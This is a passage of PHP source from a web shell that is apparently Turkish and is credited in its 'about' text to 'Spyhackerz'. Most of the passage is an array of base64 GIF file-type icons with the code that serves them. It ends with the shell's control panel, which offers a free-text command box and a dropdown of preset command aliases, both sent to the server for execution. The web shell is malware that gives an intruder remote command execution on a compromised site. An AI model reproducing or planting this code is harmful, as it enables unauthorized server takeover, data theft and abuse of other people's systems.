  5606. "AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
  5607.  
  5608. "MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
  5609.  
  5610. "ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
  5611.  
  5612. "mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
  5613.  
  5614. "zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
  5615.  
  5616. "/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
  5617.  
  5618. "AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
  5619.  
  5620. "M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
  5621.  
  5622. "ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
  5623.  
  5624. "mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
  5625.  
  5626. "zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAoA".
  5627.  
  5628. "AAgjAP8JREFQ4D+CCBOiMMhQocKDEBcujEiRosSBFjFenOhwYUAAOw==",
  5629.  
  5630. "sql_button_insert"=>
  5631.  
  5632. "R0lGODlhDQAMAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
  5633.  
  5634. "/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  5635.  
  5636. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
  5637.  
  5638. "AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
  5639.  
  5640. "MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
  5641.  
  5642. "ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
  5643.  
  5644. "mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
  5645.  
  5646. "zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
  5647.  
  5648. "/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
  5649.  
  5650. "AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
  5651.  
  5652. "M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
  5653.  
  5654. "ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
  5655.  
  5656. "mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
  5657.  
  5658. "zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAANAAwA".
  5659.  
  5660. "AAgzAFEIHEiwoMGDCBH6W0gtoUB//1BENOiP2sKECzNeNIiqY0d/FBf+y0jR48eQGUc6JBgQADs=",
  5661.  
  5662. "up"=>
  5663.  
  5664. "R0lGODlhFAAUALMAAAAAAP////j4+OPj493d3czMzLKysoaGhk1NTf///wAAAAAAAAAAAAAAAAAA".
  5665.  
  5666. "AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1PnkcgjgXwhcNQrIVhmFonzxwQjnie27jg".
  5667.  
  5668. "+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c1YEDRfwwfxtop4p53PwLKOjvvV".
  5669.  
  5670. "IXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==",
  5671.  
  5672. "write"=>
  5673.  
  5674. "R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAAAAAAAAA".
  5675.  
  5676. "AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze".
  5677.  
  5678. "EQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61".
  5679.  
  5680. "LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==",
  5681.  
  5682. "ext_asp"=>
  5683.  
  5684. "R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD/".
  5685.  
  5686. "/////ywAAAAAEAAQAAAESvDISasF2N6DMNAS8Bxfl1UiOZYe9aUwgpDTq6qP/IX0Oz7AXU/1eRgI".
  5687.  
  5688. "D6HPhzjSeLYdYabsDCWMZwhg3WWtKK4QrMHohCAS+hABADs=",
  5689.  
  5690. "ext_mp3"=>
  5691.  
  5692. "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU".
  5693.  
  5694. "aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc".
  5695.  
  5696. "IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=",
  5697.  
  5698. "ext_avi"=>
  5699.  
  5700. "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///4CAgMDAwP8AAAAAAAAAAAAAAANM".
  5701.  
  5702. "WFrS7iuKQGsYIqpp6QiZ1FFACYijB4RMqjbY01DwWg44gAsrP5QFk24HuOhODJwSU/IhBYTcjxe4".
  5703.  
  5704. "PYXCyg+V2i44XeRmSfYqsGhAAgA7",
  5705.  
  5706. "ext_cgi"=>
  5707.  
  5708. "R0lGODlhEAAQAGYAACH5BAEAAEwALAAAAAAQABAAhgAAAJtqCHd3d7iNGa+HMu7er9GiC6+IOOu9".
  5709.  
  5710. "DkJAPqyFQql/N/Dlhsyyfe67Af/SFP/8kf/9lD9ETv/PCv/cQ//eNv/XIf/ZKP/RDv/bLf/cMah6".
  5711.  
  5712. "LPPYRvzgR+vgx7yVMv/lUv/mTv/fOf/MAv/mcf/NA//qif/MAP/TFf/xp7uZVf/WIP/OBqt/Hv/S".
  5713.  
  5714. "Ev/hP+7OOP/WHv/wbHNfP4VzV7uPFv/pV//rXf/ycf/zdv/0eUNJWENKWsykIk9RWMytP//4iEpQ".
  5715.  
  5716. "Xv/9qfbptP/uZ93GiNq6XWpRJ//iQv7wsquEQv/jRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  5717.  
  5718. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  5719.  
  5720. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  5721.  
  5722. "AAAAAAAAAAAAAAAAAAAAAAeegEyCg0wBhIeHAYqIjAEwhoyEAQQXBJCRhQMuA5eSiooGIwafi4UM".
  5723.  
  5724. "BagNFBMcDR4FQwwBAgEGSBBEFSwxNhAyGg6WAkwCBAgvFiUiOBEgNUc7w4ICND8PKCFAOi0JPNKD".
  5725.  
  5726. "AkUnGTkRNwMS34MBJBgdRkJLCD7qggEPKxsJKiYTBweJkjhQkk7AhxQ9FqgLMGBGkG8KFCg8JKAi".
  5727.  
  5728. "RYtMAgEAOw==",
  5729.  
  5730. "ext_cmd"=>
  5731.  
  5732. "R0lGODlhEAAQACIAACH5BAEAAAcALAAAAAAQABAAggAAAP///4CAgMDAwAAAgICAAP//AAAAAANI".
  5733.  
  5734. "eLrcJzDKCYe9+AogBvlg+G2dSAQAipID5XJDIM+0zNJFkdL3DBg6HmxWMEAAhVlPBhgYdrYhDQCN".
  5735.  
  5736. "dmrYAMn1onq/YKpjvEgAADs=",
  5737.  
  5738. "ext_cpp"=>
  5739.  
  5740. "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANC".
  5741.  
  5742. "WLPc9XCASScZ8MlKicobBwRkEIkVYWqT4FICoJ5v7c6s3cqrArwinE/349FiNoFw44rtlqhOL4Ra".
  5743.  
  5744. "Eq7YrLDE7a4SADs=",
  5745.  
  5746. "ext_ini"=>
  5747.  
  5748. "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANL".
  5749.  
  5750. "aArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VM".
  5751.  
  5752. "SnEjgPVarHEHgrB43JvszsQEADs=",
  5753.  
  5754. "ext_diz"=>
  5755.  
  5756. "R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAP///15phcfb6NLs/7Pc/+P0/3J+l9bs".
  5757.  
  5758. "/52nuqjK5/n///j///7///r//0trlsPn/8nn/8nZ5trm79nu/8/q/9Xt/9zw/93w/+j1/9Hr/+Dv".
  5759.  
  5760. "/d7v/73H0MjU39zu/9br/8ne8tXn+K6/z8Xj/LjV7dDp/6K4y8bl/5O42Oz2/7HW9Ju92u/9/8T3".
  5761.  
  5762. "/+L//+7+/+v6/+/6/9H4/+X6/+Xl5Pz//+/t7fX08vD//+3///P///H///P7/8nq/8fp/8Tl98zr".
  5763.  
  5764. "/+/z9vT4++n1/b/k/dny/9Hv/+v4/9/0/9fw/8/u/8vt/+/09xUvXhQtW4KTs2V1kw4oVTdYpDZX".
  5765.  
  5766. "pVxqhlxqiExkimKBtMPL2Ftvj2OV6aOuwpqlulyN3cnO1wAAXQAAZSM8jE5XjgAAbwAAeURBYgAA".
  5767.  
  5768. "dAAAdzZEaE9wwDZYpmVviR49jG12kChFmgYuj6+1xeLn7Nzj6pm20oeqypS212SJraCyxZWyz7PW".
  5769.  
  5770. "9c/o/87n/8DX7MHY7q/K5LfX9arB1srl/2+fzq290U14q7fCz6e2yXum30FjlClHc4eXr6bI+bTK".
  5771.  
  5772. "4rfW+NXe6Oby/5SvzWSHr+br8WuKrQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  5773.  
  5774. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  5775.  
  5776. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  5777.  
  5778. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  5779.  
  5780. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  5781.  
  5782. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  5783.  
  5784. "AAjgACsJrDRHSICDQ7IMXDgJx8EvZuIcbPBooZwbBwOMAfMmYwBCA2sEcNBjJCMYATLIOLiokocm".
  5785.  
  5786. "C1QskAClCxcGBj7EsNHoQAciSCC1mNAmjJgGGEBQoBHigKENBjhcCBAIzRoGFkwQMNKnyggRSRAg".
  5787.  
  5788. "2BHpDBUeewRV0PDHCp4BSgjw0ZGHzJQcEVD4IEHJzYkBfo4seYGlDBwgTCAAYvFE4KEBJYI4UrPF".
  5789.  
  5790. "CyIIK+woYjMwQQI6Cor8mKEnxR0nAhYKjHJFQYECkqSkSa164IM6LhLRrr3wwaBCu3kPFKCldkAA".
  5791.  
  5792. "Ow==",
  5793.  
  5794. "ext_doc"=>
  5795.  
  5796. "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///8DAwAAA/4CAgAAAAAAAAAAAAANR".
  5797.  
  5798. "WErcrrCQQCslQA2wOwdXkIFWNVBA+nme4AZCuolnRwkwF9QgEOPAFG21A+Z4sQHO94r1eJRTJVmq".
  5799.  
  5800. "MIOrrPSWWZRcza6kaolBCOB0WoxRud0JADs=",
  5801.  
  5802. "ext_exe"=>
  5803.  
  5804. "R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7".
  5805.  
  5806. "WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt".
  5807.  
  5808. "xhIAOw==",
  5809.  
  5810. "ext_h"=>
  5811.  
  5812. "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANB".
  5813.  
  5814. "WLPc9XCASScZ8MlKCcARRwVkEAKCIBKmNqVrq7wpbMmbbbOnrgI8F+q3w9GOQOMQGZyJOspnMkKo".
  5815.  
  5816. "Wq/NknbbSgAAOw==",
  5817.  
  5818. "ext_hpp"=>
  5819.  
  5820. "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANF".
  5821.  
  5822. "WLPc9XCASScZ8MlKicobBwRkEAGCIAKEqaFqpbZnmk42/d43yroKmLADlPBis6LwKNAFj7jfaWVR".
  5823.  
  5824. "UqUagnbLdZa+YFcCADs=",
  5825.  
  5826. "ext_htaccess"=>
  5827.  
  5828. "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//AAAAAAAAAAM6".
  5829.  
  5830. "WEXW/k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJ".
  5831.  
  5832. "AAA7",
  5833.  
  5834. "ext_html"=>
  5835.  
  5836. "R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz".
  5837.  
  5838. "c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P".
  5839.  
  5840. "KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk".
  5841.  
  5842. "Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR".
  5843.  
  5844. "ADs=",
  5845.  
  5846. "ext_jpg"=>
  5847.  
  5848. "R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA".
  5849.  
  5850. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci".
  5851.  
  5852. "Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd".
  5853.  
  5854. "FxEAOw==",
  5855.  
  5856. "ext_js"=>
  5857.  
  5858. "R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibH".
  5859.  
  5860. "k0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhs".
  5861.  
  5862. "a00AjYYBbc/o9HjNniUAADs=",
  5863.  
  5864. "ext_lnk"=>
  5865.  
  5866. "R0lGODlhEAAQAGYAACH5BAEAAFAALAAAAAAQABAAhgAAAABiAGPLMmXMM0y/JlfFLFS6K1rGLWjO".
  5867.  
  5868. "NSmuFTWzGkC5IG3TOo/1XE7AJx2oD5X7YoTqUYrwV3/lTHTaQXnfRmDGMYXrUjKQHwAMAGfNRHzi".
  5869.  
  5870. "Uww5CAAqADOZGkasLXLYQghIBBN3DVG2NWnPRnDWRwBOAB5wFQBBAAA+AFG3NAk5BSGHEUqwMABk".
  5871.  
  5872. "AAAgAAAwAABfADe0GxeLCxZcDEK6IUuxKFjFLE3AJ2HHMRKiCQWCAgBmABptDg+HCBZeDAqFBWDG".
  5873.  
  5874. "MymUFQpWBj2fJhdvDQhOBC6XF3fdR0O6IR2ODwAZAHPZQCSREgASADaXHwAAAAAAAAAAAAAAAAAA".
  5875.  
  5876. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  5877.  
  5878. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  5879.  
  5880. "AAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5".
  5881.  
  5882. "NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf".
  5883.  
  5884. "1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQ".
  5885.  
  5886. "ADs=",
  5887.  
  5888. "ext_log"=>
  5889.  
  5890. "R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAA".
  5891.  
  5892. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/wN".
  5893.  
  5894. "zLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==",
  5895.  
  5896. "ext_php"=>
  5897.  
  5898. "R0lGODlhEAAQAAAAACH5BAEAAAEALAAAAAAQABAAgAAAAAAAAAImDA6hy5rW0HGosffsdTpqvFlg".
  5899.  
  5900. "t0hkyZ3Q6qloZ7JimomVEb+uXAAAOw==",
  5901.  
  5902. "ext_pl"=>
  5903.  
  5904. "R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo".
  5905.  
  5906. "GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7",
  5907.  
  5908. "ext_swf"=>
  5909.  
  5910. "R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O".
  5911.  
  5912. "nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA".
  5913.  
  5914. "ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA".
  5915.  
  5916. "GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC".
  5917.  
  5918. "NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=",
  5919.  
  5920. "ext_tar"=>
  5921.  
  5922. "R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC".
  5923.  
  5924. "Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF".
  5925.  
  5926. "HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD".
  5927.  
  5928. "UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p".
  5929.  
  5930. "uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  5931.  
  5932. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  5933.  
  5934. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  5935.  
  5936. "AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg".
  5937.  
  5938. "GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd".
  5939.  
  5940. "HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB".
  5941.  
  5942. "u4tLAgEAOw==",
  5943.  
  5944. "ext_txt"=>
  5945.  
  5946. "R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ".
  5947.  
  5948. "SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7".
  5949.  
  5950. "UpPWG3Ig6Hq/XmRjuZwkAAA7",
  5951.  
  5952. "ext_wri"=>
  5953.  
  5954. "R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA".
  5955.  
  5956. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao".
  5957.  
  5958. "a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=",
  5959.  
  5960. "ext_xml"=>
  5961.  
  5962. "R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA".
  5963.  
  5964. "gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  5965.  
  5966. "AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx".
  5967.  
  5968. "OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ".
  5969.  
  5970. "IQA7"
  5971.  
  5972.  );
  5973.  
  5974.  //For simple size- and speed-optimization.
  5975.  
  5976.  $imgequals = array(
  5977.  
  5978.   "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"),
  5979.  
  5980.   "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"),
  5981.  
  5982.   "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"),
  5983.  
  5984.   "ext_html"=>array("ext_html","ext_htm"),
  5985.  
  5986.   "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"),
  5987.  
  5988.   "ext_lnk"=>array("ext_lnk","ext_url"),
  5989.  
  5990.   "ext_ini"=>array("ext_ini","ext_css","ext_inf"),
  5991.  
  5992.   "ext_doc"=>array("ext_doc","ext_dot"),
  5993.  
  5994.   "ext_js"=>array("ext_js","ext_vbs"),
  5995.  
  5996.   "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"),
  5997.  
  5998.   "ext_wri"=>array("ext_wri","ext_rtf"),
  5999.  
  6000.   "ext_swf"=>array("ext_swf","ext_fla"),
  6001.  
  6002.   "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"),
  6003.  
  6004.   "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so")
  6005.  
  6006.  );
  6007.  
  6008.  if (!$getall)
  6009.  
  6010.  {
  6011.  
  6012.   header("Content-type: image/gif");
  6013.  
  6014.   header("Cache-control: public");
  6015.  
  6016.   header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
  6017.  
  6018.   header("Cache-control: max-age=".(60*60*24*7));
  6019.  
  6020.   header("Last-Modified: ".date("r",filemtime(__FILE__)));
  6021.  
  6022.   foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}}
  6023.  
  6024.   if (empty($images[$img])) {$img = "small_unk";}
  6025.  
  6026.   if (in_array($img,$ext_tar)) {$img = "ext_tar";}
  6027.  
  6028.   echo base64_decode($images[$img]);
  6029.  
  6030.  }
  6031.  
  6032.  else
  6033.  
  6034.  {
  6035.  
  6036.   foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]<br>");}}}}
  6037.  
  6038.   natsort($images);
  6039.  
  6040.   $k = array_keys($images);
  6041.  
  6042.   echo  "<center>";
  6043.  
  6044.   foreach ($k as $u) {echo $u.":<img src=\"".$surl."act=img&img=".$u."\" border=\"1\"><br>";}
  6045.  
  6046.   echo "</center>";
  6047.  
  6048.  }
  6049.  
  6050.  
  6051.  
  6052.  
  6053.  
  6054.  exit;
  6055.  
  6056. }
  6057.  
  6058. if ($act == "about") {echo  "<center><b>Hakkinda:<br>Bu Script Spyhackerz Tarafindan Yazilmistir.</font></font></a></b>";}
  6059.  
  6060. ?>
  6061.  
  6062. </td></tr></table><a bookmark="minipanel"><br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1>
  6063.  
  6064. <tr><td width="100%" height="1" valign="top" colspan="2"><p align="center"><b>:: <a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>Uygulamalar</b></a> ::</b></p></td></tr>
  6065.  
  6066. <tr><td width="50%" height="1" valign="top"><center><b>Enter: </b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="cmd" size="50" value="<?php echo htmlspecialchars($cmd); ?>"><input type=hidden name="cmd_txt" value="1">&nbsp;<input type=submit name=submit value="Tamam"></form></td><td width="50%" height="1" valign="top"><center><b>Secenekler </b><form action="<?php echo $surl; ?>act=cmd" method="POST"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><select name="cmd"><?php foreach ($cmdaliases as $als) {echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";} ?></select><input type=hidden name="cmd_txt" value="1">&nbsp;<input type=submit name=submit value="Tamam"></form></td></tr></TABLE>
  6067.  
  6068. <br>
  6069.  
  6070. <TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1>
  6071.  
  6072. <tr>
  6073.  
